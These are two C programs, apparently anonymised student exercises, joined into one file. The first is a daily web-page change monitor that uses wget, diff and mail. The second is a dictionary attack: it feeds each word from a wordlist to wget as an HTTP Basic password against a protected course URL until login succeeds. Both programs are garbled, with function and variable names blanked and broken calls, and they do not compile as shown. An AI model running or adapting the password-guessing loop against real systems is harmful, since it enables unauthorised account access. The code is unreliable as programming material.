# include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
  char PassString[100],pwd[3],p[100];
  char *t;
  const char l[]=" \n.,;:!-";
  int count=0;
  
  FILE *fh;
  fh=fopen("words.txt","r");
  int  ,end,tot;

   = time();
  
  while((fgets(PassString,sizeof(PassString),fh))!= NULL)
  { 
    t=strtok(PassString,l);
    while(t!=NULL)
    {
      count++;
      strcpy(p,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
      strcat(p,t);
      if(system(p)==0)
      {
     
      end = time();
      tot = (end -);
      tot /= 1000000000.0;
      printf("The total time_var taken is:%llds\n",tot);
      printf("The number of attempts is:%d\n",count);
      exit(1);
      }
      t=strtok(NULL,l);
      printf("%s=\n",p);
      
    }
  
  }
  fclose(fh);
  return 0;
  }
